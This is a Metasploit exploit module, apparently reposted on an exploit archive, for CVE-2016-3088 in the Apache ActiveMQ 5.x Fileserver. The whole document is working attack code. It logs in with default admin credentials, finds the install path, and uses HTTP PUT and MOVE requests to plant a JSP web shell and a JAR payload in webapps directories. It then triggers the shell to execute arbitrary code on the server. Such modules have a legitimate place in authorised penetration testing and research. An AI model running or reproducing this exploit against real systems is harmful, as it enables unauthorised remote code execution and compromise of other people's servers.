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Apache ActiveMQ 5.x Web Shell Upload

Posted on 29 June 2017

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'ActiveMQ web shell upload',
'Description' => %q(
The Fileserver web application in Apache ActiveMQ 5.x before 5.14.0
allows remote attackers to upload and execute arbitrary files via an
HTTP PUT followed by an HTTP MOVE request.
),
'Author' => [ 'Ian Anderson <andrsn84[at]gmail.com>', 'Hillary Benson <1n7r1gu3[at]gmail.com>' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2016-3088' ],
[ 'URL', 'http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt' ]
],
'Privileged' => true,
'Platform' => %w{ java linux win },
'Targets' =>
[
[ 'Java Universal',
{
'Platform' => 'java',
'Arch' => ARCH_JAVA
}
],
[ 'Linux',
{
'Platform' => 'linux',
'Arch' => ARCH_X86
}
],
[ 'Windows',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
]
],
'DisclosureDate' => "Jun 01 2016",
'DefaultTarget' => 0))
register_options(
[
OptString.new('BasicAuthUser', [ true, 'The username to authenticate as', 'admin' ]),
OptString.new('BasicAuthPass', [ true, 'The password for the specified username', 'admin' ]),
OptString.new('JSP', [ false, 'JSP name to use, excluding the .jsp extension (default: random)', nil ]),
OptString.new('AutoCleanup', [ false, 'Remove web shells after callback is received', 'true' ]),
Opt::RPORT(8161)
])
register_advanced_options(
[
OptString.new('UploadPath', [false, 'Custom directory into which web shells are uploaded', nil])
])
end

def jsp_text(payload_name)
%{
<%@ page import="java.io.*"
%><%@ page import="java.net.*"
%><%
URLClassLoader cl = new java.net.URLClassLoader(new java.net.URL[]{new java.io.File(request.getRealPath("./#{payload_name}.jar")).toURI().toURL()});
Class c = cl.loadClass("metasploit.Payload");
c.getMethod("main",Class.forName("[Ljava.lang.String;")).invoke(null,new java.lang.Object[]{new java.lang.String[0]});
%>}
end

def exploit
jar_payload = payload.encoded_jar.pack
payload_name = datastore['JSP'] || rand_text_alpha(8 + rand(8))
host = "#{datastore['RHOST']}:#{datastore['RPORT']}"
@url = datastore['SSL'] ? "https://#{host}" : "http://#{host}"
paths = get_upload_paths
paths.each do |path|
if try_upload(path, jar_payload, payload_name)
break handler if trigger_payload(payload_name)
print_error('Unable to trigger payload')
end
end
end

def try_upload(path, jar_payload, payload_name)
['.jar', '.jsp'].each do |ext|
file_name = payload_name + ext
data = ext == '.jsp' ? jsp_text(payload_name) : jar_payload
move_headers = { 'Destination' => "#{@url}#{path}#{file_name}" }
upload_uri = normalize_uri('fileserver', file_name)
print_status("Uploading #{move_headers['Destination']}")
register_files_for_cleanup "#{path}#{file_name}" if datastore['AutoCleanup'].casecmp('true')
return error_out unless send_request('PUT', upload_uri, 204, 'data' => data) &&
send_request('MOVE', upload_uri, 204, 'headers' => move_headers)
@trigger_resource = /webapps(.*)/.match(path)[1]
end
true
end

def get_upload_paths
base_path = "#{get_install_path}/webapps"
custom_path = datastore['UploadPath']
return [normalize_uri(base_path, custom_path)] unless custom_path.nil?
[ "#{base_path}/api/", "#{base_path}/admin/" ]
end

def get_install_path
properties_page = send_request('GET', "#{@url}/admin/test/systemProperties.jsp").body
match = properties_page.tr("
", '@').match(/activemq.home</td>@s*<td>([^@]+)</td>/)
return match[1] unless match.nil?
end

def send_request(method, uri, expected_response = 200, opts = {})
opts['headers'] ||= {}
opts['headers']['Authorization'] = basic_auth(datastore['BasicAuthUser'], datastore['BasicAuthPass'])
opts['headers']['Connection'] = 'close'
r = send_request_cgi(
{
'method' => method,
'uri' => uri
}.merge(opts)
)
return false if r.nil? || expected_response != r.code.to_i
r
end

def trigger_payload(payload_name)
send_request('POST', @url + @trigger_resource + payload_name + '.jsp')
end

def error_out
print_error('Upload failed')
@trigger_resource = nil
false
end
end

 

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